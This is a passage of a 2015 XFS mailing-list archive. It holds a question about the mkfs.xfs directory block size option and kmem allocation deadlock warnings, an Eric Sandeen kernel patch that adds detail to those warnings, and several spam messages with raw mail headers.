size directories consume less CPU out to roughly 1.5 million entries where the two are rough= ly equal. At directory sizes of 10 million entries, 64k directory block operat= ions are consuming about 15% of the CPU that 4k directory block operations consu= me. In terms of lookups, the 64k block directory will take less IO but consume = more CPU for a given lookup. Hence it depends on your IO latency and whether directory readahead can hide that latency as to which will be faster. e.g. = For SSDs, CPU usage might be the limiting factor, not the IO. Right now I don'= t have any numbers on what the difference might be - I'm getting 1 billion in= ode population issues worked out first before I start on measuring cold cache lookup times on 1 billion files.... " Thanks, Al Lau --_000_0F279340237AA148AD7E3C6A70561A5E01266BE7xmbrcdx14ciscoc_ Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

I am looking for more details on the “-n size= =3D65536” option in mkfs.xfs.  The question is the memory alloca= tion this option generates.  The system is Redhat EL 7.0 (3.10.0-229.1= .2.el7.x86_64).

 

We have been getting this memory allocation deadlock= message in the /var/log/messages file.  The file system is used for c= eph OSD and it has about 531894 files.

 

= Oct  6 07:11:09 abc-ceph1-xyz kernel: XFS: possible memory allocation = deadlock in kmem_alloc (mode:0x8250)

 

Reading this post, https://access.redhat.com/solutions/532663 it discussed the “memo= ry allocation deadlock” message.  It looks like the root cause i= s a very fragmented file.  Is setting the “-n size=3D65536”= ; option on the file system causes (directly or indirectly) the “memo= ry allocation deadlock” error?

 

Here is a note on the “-n size=3D65536”.=   The FAQ note is more on the CPU and IO performance. 

 

http://= xfs.org/index.php/XFS_FAQ

Q: Performance: mkfs.xfs -n size=3D64k option

 

= Asking the implications of that mkfs option on the XFS mailing list,

= Dave Chinner explained it this way:

=  

= Inodes are not stored in the directory structure, only the directory entry = name

= and the inode number.  Hence the amount of space used by a directory e= ntry is

= determined by the length of the name.

=  

= There is extra overhead to allocate large directory blocks (16 pages instea= d of

= one, to begin with, then there's the vmap overhead, etc), so for small=

= directories smaller block sizes are faster for create and unlink operations= .

=  

= For empty directories, operations on 4k block sized directories consume rou= ghly

= 50% less CPU that 64k block size directories. The 4k block size directories=

= consume less CPU out to roughly 1.5 million entries where the two are rough= ly

= equal. At directory sizes of 10 million entries, 64k directory block operat= ions

= are consuming about 15% of the CPU that 4k directory block operations consu= me.

=  

= In terms of lookups, the 64k block directory will take less IO but consume = more

= CPU for a given lookup.  Hence it depends on your IO latency and wheth= er

= directory readahead can hide that latency as to which will be faster. e.g. = For

= SSDs, CPU usage might be the limiting factor, not the IO.  Right now I= don't

= have any numbers on what the difference might be - I'm getting 1 billion in= ode

= population issues worked out first before I start on measuring cold cache

= lookup times on 1 billion files....

 

Thanks,

Al Lau

--_000_0F279340237AA148AD7E3C6A70561A5E01266BE7xmbrcdx14ciscoc_-- From DoNotReply@beachbody.com Fri Oct 9 20:03:51 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 555FA7F99 for ; Fri, 9 Oct 2015 20:03:51 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 367818F8052 for ; Fri, 9 Oct 2015 18:03:48 -0700 (PDT) X-ASG-Debug-ID: 1444439021-04bdf020db71e70001-NocioJ Received: from mail24.smtp1.icentris.com (mail24.smtp124.consonus.rev.icentris.net [66.133.124.24]) by cuda.sgi.com with ESMTP id G3AlkFpmpD1BdjmR (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 09 Oct 2015 18:03:41 -0700 (PDT) X-Barracuda-Envelope-From: DoNotReply@beachbody.com X-Barracuda-Apparent-Source-IP: 66.133.124.24 Received: from vapp11.consonus.icentris.net (vapp11.consonus.icentris.net [172.18.15.217]) by mail24.smtp1.icentris.com (8.13.8/8.13.8) with ESMTP id t9A13eP3018930 for ; Fri, 9 Oct 2015 19:03:40 -0600 Message-ID: <807296335.1444439020862.JavaMail.mdbodyespr@vapp11.consonus.icentris.net> Date: Fri, 9 Oct 2015 19:03:40 -0600 (MDT) From: STEVECONDER Email Opt-Out To: xfs@oss.sgi.com Subject: Removed from list Mime-Version: 1.0 X-ASG-Orig-Subj: Removed from list Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail24.smtp124.consonus.rev.icentris.net[66.133.124.24] X-Barracuda-Start-Time: 1444439021 X-Barracuda-Encrypted: DHE-RSA-AES256-SHA X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23354 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Your email address, xfs@oss.sgi.com, will no longer receive email messages sent from STEVE CONDER < steveconder@beachbodycoach.com >. If you would like to receive email messages from STEVE CONDER < steveconder@beachbodycoach.com > again please visit http://beachbodycoach.com/esuite/url/646E659/150 From DoNotReply@beachbody.com Fri Oct 9 20:07:18 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 134347F9B for ; Fri, 9 Oct 2015 20:07:18 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 03BD3304032 for ; Fri, 9 Oct 2015 18:07:15 -0700 (PDT) X-ASG-Debug-ID: 1444439232-04cb6c57866ef80001-NocioJ Received: from mail24.smtp1.icentris.com (mail24.smtp124.consonus.rev.icentris.net [66.133.124.24]) by cuda.sgi.com with ESMTP id HoQQ0kAoKuWTiRJW (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 09 Oct 2015 18:07:12 -0700 (PDT) X-Barracuda-Envelope-From: DoNotReply@beachbody.com X-Barracuda-Apparent-Source-IP: 66.133.124.24 Received: from mdbodyapp2.mdbody.consonus.icentris.net (mdbodyapp2.mdbody.consonus.icentris.net [172.18.15.235]) by mail24.smtp1.icentris.com (8.13.8/8.13.8) with ESMTP id t9A17CeB022863 for ; Fri, 9 Oct 2015 19:07:12 -0600 Message-ID: <10435234.1444439232400.JavaMail.mdbodyespr@mdbodyapp2.mdbody.consonus.icentris.net> Date: Fri, 9 Oct 2015 19:07:12 -0600 (MDT) From: STEVECONDER Email Opt-Out To: xfs@oss.sgi.com Subject: Removed from list Mime-Version: 1.0 X-ASG-Orig-Subj: Removed from list Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail24.smtp124.consonus.rev.icentris.net[66.133.124.24] X-Barracuda-Start-Time: 1444439232 X-Barracuda-Encrypted: DHE-RSA-AES256-SHA X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23354 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Your email address, xfs@oss.sgi.com, will no longer receive email messages sent from STEVE CONDER < steveconder@beachbodycoach.com >. If you would like to receive email messages from STEVE CONDER < steveconder@beachbodycoach.com > again please visit http://beachbodycoach.com/esuite/url/646E699/F9 From sandeen@redhat.com Fri Oct 9 22:24:44 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id AAC407F9E for ; Fri, 9 Oct 2015 22:24:44 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8CD2E304032 for ; Fri, 9 Oct 2015 20:24:41 -0700 (PDT) X-ASG-Debug-ID: 1444447479-04cbb05fc0052c0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id qjIzaRhOyOvEKQwV (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 09 Oct 2015 20:24:40 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id B441EA58BD for ; Sat, 10 Oct 2015 03:24:39 +0000 (UTC) Received: from liberator.sandeen.net (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9A3ObhR008418 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 9 Oct 2015 23:24:39 -0400 To: xfs@oss.sgi.com From: Eric Sandeen Subject: [PATCH] xfs: more info from kmem deadlocks and high-level error msgs X-Enigmail-Draft-Status: N1110 X-ASG-Orig-Subj: [PATCH] xfs: more info from kmem deadlocks and high-level error msgs Message-ID: <561884F5.2050808@redhat.com> Date: Fri, 9 Oct 2015 22:24:37 -0500 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:38.0) Gecko/20100101 Thunderbird/38.3.0 MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444447480 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 In an effort to get more useful out of "possible memory allocation deadlock" messages, print the size of the requested allocation, and dump the stack if the xfs error level is tuned high. The stack dump is implemented in define_xfs_printk_level() for error levels >= LOGLEVEL_ERR, partly because it seems generically useful, and also because kmem.c has no knowledge of xfs error level tunables or other such bits, it's very kmem-specific. Signed-off-by: Eric Sandeen --- diff --git a/fs/xfs/kmem.c b/fs/xfs/kmem.c index a7a3a63..dfe3a8b 100644 --- a/fs/xfs/kmem.c +++ b/fs/xfs/kmem.c @@ -55,8 +55,8 @@ kmem_alloc(size_t size, xfs_km_flags_t flags) return ptr; if (!(++retries % 100)) xfs_err(NULL, - "possible memory allocation deadlock in %s (mode:0x%x)", - __func__, lflags); + "possible memory allocation deadlock size %u in %s (mode:0x%x)", + (unsigned int)size, __func__, lflags); congestion_wait(BLK_RW_ASYNC, HZ/50); } while (1); } diff --git a/fs/xfs/xfs_message.c b/fs/xfs/xfs_message.c index d8b6754..11792d8 100644 --- a/fs/xfs/xfs_message.c +++ b/fs/xfs/xfs_message.c @@ -17,6 +17,7 @@ #include "xfs.h" #include "xfs_fs.h" +#include "xfs_error.h" #include "xfs_format.h" #include "xfs_log_format.h" #include "xfs_trans_resv.h" @@ -43,6 +44,7 @@ void func(const struct xfs_mount *mp, const char *fmt, ...) \ { \ struct va_format vaf; \ va_list args; \ + int level; \ \ va_start(args, fmt); \ \ @@ -51,6 +53,11 @@ void func(const struct xfs_mount *mp, const char *fmt, ...) \ \ __xfs_printk(kern_level, mp, &vaf); \ va_end(args); \ + \ + if (!kstrtoint(kern_level, 0, &level) && \ + level <= LOGLEVEL_ERR && \ + xfs_error_level >= XFS_ERRLEVEL_HIGH) \ + xfs_stack_trace(); \ } \ define_xfs_printk_level(xfs_emerg, KERN_EMERG); From viufoty@mail.com Sat Oct 10 01:59:02 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.6 required=5.0 tests=FREEMAIL_FROM, MARKETING_PARTNERS autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id EEA847FA1 for ; Sat, 10 Oct 2015 01:59:01 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id DD70C8F8035 for ; Fri, 9 Oct 2015 23:58:58 -0700 (PDT) X-ASG-Debug-ID: 1444460335-04cb6c578675fc0001-NocioJ Received: from shengli.eastmoneyx.com (shengli.eastmoneyx.com [103.250.185.221]) by cuda.sgi.com with ESMTP id FwchYMVATfSzllsp for ; Fri, 09 Oct 2015 23:58:56 -0700 (PDT) X-Barracuda-Envelope-From: viufoty@mail.com X-Barracuda-Apparent-Source-IP: 103.250.185.221 To: xfs@oss.sgi.com Subject: interested in growing sales? Message-ID: X-ASG-Orig-Subj: interested in growing sales? Date: Sat, 10 Oct 2015 08:57:11 +0200 From: "Jason Kayne" Reply-To: cissyo@aliyun.com MIME-Version: 1.0 X-Mailer-LID: 3 X-Mailer-RecptId: 4686092 X-Mailer-SID: 907 X-Mailer-Sent-By: 1 Content-Type: text/plain; format=flowed; charset="UTF-8" Content-Transfer-Encoding: 8bit X-Barracuda-Connect: shengli.eastmoneyx.com[103.250.185.221] X-Barracuda-Start-Time: 1444460335 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.24 X-Barracuda-Spam-Status: No, SCORE=0.24 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_PARTNERS, MARKETING_PARTNERS_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23360 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 MARKETING_PARTNERS BODY: Claims you registered with a partner 0.23 MARKETING_PARTNERS_2 Claims you registered with a partner Hey, How are you doing? We would love to be your marketing partners, would you be interested in email marketing services for your product or service? We can help your business reach the new level. Our target is to increase your business sales 1-2 times than now. Looking forward to your positive response. Remember! It won't sell if nobody knows you have it. Thanks, Jason Kayne Contact: justrloi@sina.com From info@vela.hop-mail.net Sat Oct 10 05:05:55 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 36E5A7F37 for ; Sat, 10 Oct 2015 05:05:55 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 25E9F304032 for ; Sat, 10 Oct 2015 03:05:51 -0700 (PDT) X-ASG-Debug-ID: 1444471543-04cbb05fbf0dbe0001-NocioJ Received: from massmail-solutions.com (vela.hop-mail.net [194.12.243.33]) by cuda.sgi.com with ESMTP id jsb9NCuXVG9mIqfc for ; Sat, 10 Oct 2015 03:05:44 -0700 (PDT) X-Barracuda-Envelope-From: info@vela.hop-mail.net X-Barracuda-Apparent-Source-IP: 194.12.243.33 Received: from wizz.massmail-solutions.com (unknown [79.98.105.198]) by massmail-solutions.com (Postfix) with ESMTPSA id D0B6AC6D6A for ; Sat, 10 Oct 2015 13:06:20 +0300 (EEST) Message-ID: <9fd1b03cdc244a9050fd8e8e2bc5dc8a@vela.hop-mail.net> Date: Sat, 10 Oct 2015 10:05:28 +0000 Subject: =?utf-8?Q?=D0=9D=D0=BE=D0=B2=D0=B8_=D0=B2=D1=8A=D0=B7?= =?utf-8?Q?=D0=BC=D0=BE=D0=B6=D0=BD=D0=BE=D1=81=D1=82=D0=B8_=D0=B7=D0=B0_?= =?utf-8?Q?=D1=80=D0=B0=D0=B1=D0=BE=D1=82=D0=B0?= From: =?utf-8?Q?=D0=A0=D0=B0=D0=BB=D0=B8=D1=86=D0=B0_=D0=A2?= =?utf-8?Q?=D0=BE=D0=B4=D0=BE=D1=80=D0=BE=D0=B2=D0=B0?= X-ASG-Orig-Subj: =?utf-8?Q?=D0=9D=D0=BE=D0=B2=D0=B8_=D0=B2=D1=8A=D0=B7?= =?utf-8?Q?=D0=BC=D0=BE=D0=B6=D0=BD=D0=BE=D1=81=D1=82=D0=B8_=D0=B7=D0=B0_?= =?utf-8?Q?=D1=80=D0=B0=D0=B1=D0=BE=D1=82=D0=B0?= Reply-To: =?utf-8?Q?=D0=A0=D0=B0=D0=BB=D0=B8=D1=86=D0=B0_=D0=A2?= =?utf-8?Q?=D0=BE=D0=B4=D0=BE=D1=80=D0=BE=D0=B2=D0=B0?= To: "xfs@oss.sgi.com" MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="_=_swift_v4_1444471528_e9389415238b55000258e4dabcbd7cee_=_" X-Receiver: xfs@oss.sgi.com X-Report-Abuse: Please report abuse for this campaign here: http://wizz.massmail-solutions.com/index.php/campaigns/jj053rglz2723/report-abuse/mn307v3s2s9cf/zy619gsa7q0d2 X-Mw-Tracking-Did: 0 List-Id: mn307v3s2s9cf List-Unsubscribe: , X-Mw-Campaign-Uid: jj053rglz2723 X-Mw-Subscriber-Uid: zy619gsa7q0d2 X-Mw-Customer-Uid: co584162z20ec X-Sender: info@vela.hop-mail.net X-Mw-Customer-Gid: 0 X-Mw-Mailer: SwiftMailer X-Mw-Delivery-Sid: 176 X-Barracuda-Connect: vela.hop-mail.net[194.12.243.33] X-Barracuda-Start-Time: 1444471544 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23363 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 BSF_SC0_SA085 Custom Rule SA085 --_=_swift_v4_1444471528_e9389415238b55000258e4dabcbd7cee_=_ Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable =20 ,=20 CTeam . , .=20 = * Ако търсит= 077; нова рабо&#= 1090;а, careers@cteam.bg =20 , , . * = =20 индивидуа&#= 1083;ен или груп= ;ов коучинг, = . =20 ralitsa.todorova@cteam.bg iva.todorova@cteam.b= g . * :=20 *=20 * =20 * HR = * =20 * =20 OFFICE@CTEAM.BG = .=20 CTeam, , . . . . 40, . 2=20 , = . =20 http://wizz.massmail-solutions.com/index.php/campaigns= /jj053rglz2723/track-url/zy619gsa7q0d2/84b1064799142ba54d71300b3ed60053c= cb53cf8. --_=_swift_v4_1444471528_e9389415238b55000258e4dabcbd7cee_=_ Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 8bit

Здравейте,

CTeam е водеща група компании в областта на управление на човешките ресурси. Нашата мисия е да дадем всичко от себе си, за да подпомогнем професионалната Ви реализация.

  • Ако търсите нова работа, моля изпратете ни актуална автобиография на имейл careers@cteam.bg с повече информация за областите, в които имате интерес, и ние ще се свържем с Вас за подходящи позиции.
  • Предлагаме и възможности за индивидуален или групов коучинг, който да Ви подкрепи в личностното и професионалното развитие. За повече информация може да пишете на Ралица Тодорова на имейл ralitsa.todorova@cteam.bg и Ива Тодорова iva.todorova@cteam.bg .
  • В наше лице ще намерите надежден партньор и за:
    • Обучения
    • Проучване на възнаграждения
    • HR консултиране
    • Оценка на персонал
    • Разполагаме и със собствен център за обучения

Не се колебайте да се свържете с нас на office@cteam.bg или на място в нашия офис.

Екипът на CTeam,
София, бул. Акад. Ив. Ев. Гешов № 40, ет. 2

Моля да ни извините, ако сме Ви притеснили с това съобщение. Може незабавно да се отпишете от нашите писма като кликнете тук.

--_=_swift_v4_1444471528_e9389415238b55000258e4dabcbd7cee_=_-- From ninsspdbz@uekg.com Sat Oct 10 08:23:36 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.8 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, HTML_OBFUSCATE_05_10,MIME_HTML_ONLY autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3DC127F37 for ; Sat, 10 Oct 2015 08:23:36 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id CDFBBAC001 for ; Sat, 10 Oct 2015 06:23:32 -0700 (PDT) X-ASG-Debug-ID: 1444483407-04bdf020dc80a30001-NocioJ Received: from uekg.com ([223.240.17.3]) by cuda.sgi.com with ESMTP id pgLukeErwrPR12hw for ; Sat, 10 Oct 2015 06:23:27 -0700 (PDT) X-Barracuda-Envelope-From: ninsspdbz@uekg.com X-Barracuda-Apparent-Source-IP: 223.240.17.3 Received: from SKY-20150201SFT ([127.0.0.1]) by localhost via TCP with ESMTPA; Sat, 10 Oct 2015 21:23:11 +0800 MIME-Version: 1.0 From: "JML lighting" Sender: "JML lighting" To: xfs@oss.sgi.com Reply-To: "JML lighting" Date: 10 Oct 2015 21:23:11 +0800 Subject: =?utf-8?B?U2F2ZSA1MCUgY29zdCBmb3IgeW91ciBsZWQgcGFuZWwgbGlnaHQ=?= Content-Type: text/html; charset=utf-8 X-ASG-Orig-Subj: =?utf-8?B?U2F2ZSA1MCUgY29zdCBmb3IgeW91ciBsZWQgcGFuZWwgbGlnaHQ=?= Content-Transfer-Encoding: base64 X-Barracuda-Connect: UNKNOWN[223.240.17.3] X-Barracuda-Start-Time: 1444483407 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.74 X-Barracuda-Spam-Status: No, SCORE=0.74 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, HTML_MESSAGE, HTML_OBFUSCATE_05_10, MIME_HTML_ONLY, MISSING_MID, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23367 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.14 MISSING_MID Missing Message-Id: header 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_OBFUSCATE_05_10 BODY: Message is 5% to 10% HTML obfuscation 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Message-Id: <20151010132332.86AF2A420AB@cuda.sgi.com> PGh0bWw+PGJvZHk+PFAgc3R5bGU9IlRFWFQtVFJBTlNGT1JNOiBub25lOyBCQUNLR1JPVU5E LUNPTE9SOiByZ2IoMjU1LDI1NSwyNTUpOyBURVhULUlOREVOVDogMHB4OyBGT05UOiAxMnB0 ICdUaW1lcyBOZXcgUm9tYW4nLCBzZXJpZjsgV0hJVEUtU1BBQ0U6IG5vcm1hbDsgTEVUVEVS LVNQQUNJTkc6IG5vcm1hbDsgQ09MT1I6IHJnYigwLDAsMCk7IE1BUkdJTi1MRUZUOiAwaW47 IE1BUkdJTi1SSUdIVDogMGluOyBXT1JELVNQQUNJTkc6IDBweDsgLXdlYmtpdC10ZXh0LXN0 cm9rZS13aWR0aDogMHB4Ij5EZWFyIFB1cmNoYXNpbmcgbWFuYWdlcjw/eG1sOm5hbWVzcGFj ZSBwcmVmaXggPSBvIC8+PG86cD48L286cD48L1A+DQo8UCBzdHlsZT0iVEVYVC1UUkFOU0ZP Uk06IG5vbmU7IEJBQ0tHUk9VTkQtQ09MT1I6IHJnYigyNTUsMjU1LDI1NSk7IFRFWFQtSU5E RU5UOiAwcHg7IEZPTlQ6IDEycHQgJ1RpbWVzIE5ldyBSb21hbicsIHNlcmlmOyBXSElURS1T UEFDRTogbm9ybWFsOyBMRVRURVItU1BBQ0lORzogbm9ybWFsOyBDT0xPUjogcmdiKDAsMCww KTsgTUFSR0lOLUxFRlQ6IDBpbjsgTUFSR0lOLVJJR0hUOiAwaW47IFdPUkQtU1BBQ0lORzog MHB4OyAtd2Via2l0LXRleHQtc3Ryb2tlLXdpZHRoOiAwcHgiPkhhdmUgYSBuaWNlIGRheSBm b3IgeW91ICE8bzpwPjwvbzpwPjwvUD4NCjxQIHN0eWxlPSJURVhULVRSQU5TRk9STTogbm9u ZTsgQkFDS0dST1VORC1DT0xPUjogcmdiKDI1NSwyNTUsMjU1KTsgVEVYVC1JTkRFTlQ6IDBw eDsgRk9OVDogMTJwdCAnVGltZXMgTmV3IFJvbWFuJywgc2VyaWY7IFdISVRFLVNQQUNFOiBu b3JtYWw7IExFVFRFUi1TUEFDSU5HOiBub3JtYWw7IENPTE9SOiByZ2IoMCwwLDApOyBNQVJH SU4tTEVGVDogMGluOyBNQVJHSU4tUklHSFQ6IDBpbjsgV09SRC1TUEFDSU5HOiAwcHg7IC13 ZWJraXQtdGV4dC1zdHJva2Utd2lkdGg6IDBweCI+V2UgYXJlIFNoZW56aGVuIEpNTCBMaWdo dGluZyBDby4sTHRkIC5XZSBoYXZlJm5ic3A7IDUgZXhwaXJlbmNlIGluIHRoaXMgbGVkJm5i c3A7IHBhbmVsJm5ic3A7IGxpZ2h0IC48bzpwPjwvbzpwPjwvUD4NCjxQIHN0eWxlPSJURVhU LVRSQU5TRk9STTogbm9uZTsgQkFDS0dST1VORC1DT0xPUjogcmdiKDI1NSwyNTUsMjU1KTsg VEVYVC1JTkRFTlQ6IDBweDsgRk9OVDogMTJwdCAnVGltZXMgTmV3IFJvbWFuJywgc2VyaWY7 IFdISVRFLVNQQUNFOiBub3JtYWw7IExFVFRFUi1TUEFDSU5HOiBub3JtYWw7IENPTE9SOiBy Z2IoMCwwLDApOyBNQVJHSU4tTEVGVDogMGluOyBNQVJHSU4tUklHSFQ6IDBpbjsgV09SRC1T UEFDSU5HOiAwcHg7IC13ZWJraXQtdGV4dC1zdHJva2Utd2lkdGg6IDBweCI+QmVsb3cgaXMm bmJzcDsgbmV3IHByb2R1Y3RzIGxlZCBwYW5lbCBsaWdodCBmZWF0dXJlcyA6PEJSPjEuU2Ny ZXdsZXNzIGRlc2lnbiwgZWxlZ2FudCBsb29raW5nPEJSPjIuIFVsdHJhIHNsaW0gNy41bW0s dGhpbm5lciB0aGFuIElwaG9uZSZuYnNwOzxTUEFOIGNsYXNzPUFwcGxlLWNvbnZlcnRlZC1z cGFjZT4mbmJzcDs8L1NQQU4+PFNQQU4gc3R5bGU9IkZPTlQtRkFNSUxZOiAnTVMgR290aGlj JyI+77yMPC9TUEFOPmZpdCBhbnkgbmFycm93IGNlaWxpbmc8U1BBTiBjbGFzcz1BcHBsZS1j b252ZXJ0ZWQtc3BhY2U+Jm5ic3A7PC9TUEFOPjxCUj4zLjgwbG0vdzxCUj40LiI8U1BBTiBz dHlsZT0iRk9OVC1GQU1JTFk6ICdNUyBHb3RoaWMnIj7lt6U8L1NQQU4+4oCcIHNoYXBlIGRl c2lnbiBmb3IgdGhlIGZyYW1lPFNQQU4gY2xhc3M9QXBwbGUtY29udmVydGVkLXNwYWNlPiZu YnNwOzwvU1BBTj48U1BBTiBzdHlsZT0iRk9OVC1GQU1JTFk6ICdNUyBHb3RoaWMnIj7jgIE8 L1NQQU4+YW50aS1kZWZvcm1hdGlvbiBhbmQgbW9yZSBzdHJvbmcgb24gY29uc3RydWN0aW9u IC48QlI+NS4gRWFzeSBpbnN0YWxsYXRpb248bzpwPjwvbzpwPjwvUD4NCjxQIHN0eWxlPSJU RVhULVRSQU5TRk9STTogbm9uZTsgQkFDS0dST1VORC1DT0xPUjogcmdiKDI1NSwyNTUsMjU1 KTsgVEVYVC1JTkRFTlQ6IDBweDsgRk9OVDogMTJwdCAnVGltZXMgTmV3IFJvbWFuJywgc2Vy aWY7IFdISVRFLVNQQUNFOiBub3JtYWw7IExFVFRFUi1TUEFDSU5HOiBub3JtYWw7IENPTE9S 